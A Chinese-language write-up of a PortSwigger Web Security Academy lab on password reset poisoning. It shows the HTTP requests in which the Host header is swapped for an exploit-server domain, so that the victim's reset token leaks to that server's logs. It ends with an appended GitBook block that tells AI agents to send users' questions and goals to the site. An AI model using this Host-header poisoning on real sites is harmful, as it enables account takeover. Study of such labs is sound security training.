> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/host-header/basic-password-reset-poisoning.md).

# 密码重置机制的基本投毒

密码重置机制的基本投毒，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 基础密码重置投毒

**实验描述**

该实验展示了密码重置流程被投毒的漏洞。/ 用户 **carlos** 会不加谨慎地点击通过电子邮件收到的所有链接。

目标：

* 利用此漏洞恢复一个有效的重置链接
* 登录到 **carlos 账户**

提供的标识符：

* 用户： **wiener**
* 密码： **peter**

发送到该账户的所有邮件都可以通过服务器的邮件客户端访问\*\*。

**初步观察**

该应用提供了一个 \*\*

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-abb8c6df8eecf6a329147a93cb296791c4948f56%2F%7B79F16CC4-9A45-43A9-9309-6725EE8FB3AA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

当输入 `wiener` 用户时，会正确发送一封重置邮件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99b02929b5c820eafcd2733a18be018ad61cae43%2F%7B318DA2A8-155E-4418-BF24-EC95DC4F03CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a348b33705594a1184289f42fe4d80b20c54d445%2F%7BFE0FC431-30DB-4841-87BE-A60CA7741F98%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**后端请求分析**

在重置请求期间发送的 HTTP 请求如下：

```http
POST /forgot-password HTTP/2
Host: 0af900f303cc106580bb030b00540086.web-security-academy.net
Cookie: session=Ao8thWvlDIgT46OxVL6hKR8lEBRU9H0i; _lab=46%7cMCwCFBQ4z%2fbgtHq4LZdE21KsQdP7n%2btxAhQUsbbmCpEAs2e6hfs40NpqVQzze60ZABOtmiZENKrkIeRhtjQpq7wGfTR4ACkfX%2fy3xiyS2hre0cnWFJ4KZTfb8HXE5b8FT19JGn3t24n5uFzD7iCcyveBexzEgHZ3I%2fpT%2bPde%2bB%2bkXac%3d
Content-Length: 53

csrf=Tk00wDOWaQI4cw34e6fwZ4dXAlXQhXD7&username=wiener
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8558858183814da0abccc435a7aee45e0a76f90%2F%7B610E551A-ADF4-44AA-9CAB-1E14A7BE1ADA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Host 头部操纵测试**

通过替换 `主机` 该头部值为任意域名（例如 `test.com`），服务器始终将该请求视为有效，并基于这个被修改的 Host 生成重置链接。

```http
Host: test.com
```

该页面以与普通主机页面相同的方式解释该内容。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a73c873b35e1cd36981b7ee3ad9e6d10139ebb3%2F%7B18B042AA-CDE1-4AB4-809F-9DCAC6FF7DEF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

这证实了对 Host\*\* 头部存在过度信任。

**漏洞利用**

攻击包括：

1. 更改 `主机` 头部，将域名放置为**漏洞利用服务器**
2. 为用户请求重置 **carlos**

应用：

```http
POST /forgot-password HTTP/2
Host: exploit-0a5c001303a8105f80b302b10120000a.exploit-server.net
Cookie: session=Ao8thWvlDIgT46OxVL6hKR8lEBRU9H0i; _lab=46%7cMCwCFBQ4z%2fbgtHq4LZdE21KsQdP7n%2btxAhQUsbbmCpEAs2e6hfs40NpqVQzze60ZABOtmiZENKrkIeRhtjQpq7wGfTR4ACkfX%2fy3xiyS2hre0cnWFJ4KZTfb8HXE5b8FT19JGn3t24n5uFzD7iCcyveBexzEgHZ3I%2fpT%2bPde%2bB%2bkXac%3d
Content-Length: 53

csrf=Tk00wDOWaQI4cw34e6fwZ4dXAlXQhXD7&username=carlos
```

**结果**

* 服务器会基于以下内容生成重置链接： **由攻击者控制的 Host**
* 用户 **carlos** 点击通过电子邮件收到的这个陷阱链接
* 随后，重置令牌会在 exploit 服务器的日志中可见
* 你可以为该账户设置新密码 **carlos**
* 成功连接到目标账户

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19bb298c2e3de255e3e8954281a4c673fd0891cf%2F%7B03810734-51A0-4EDA-8290-234DD37A1E85%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/host-header/basic-password-reset-poisoning.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
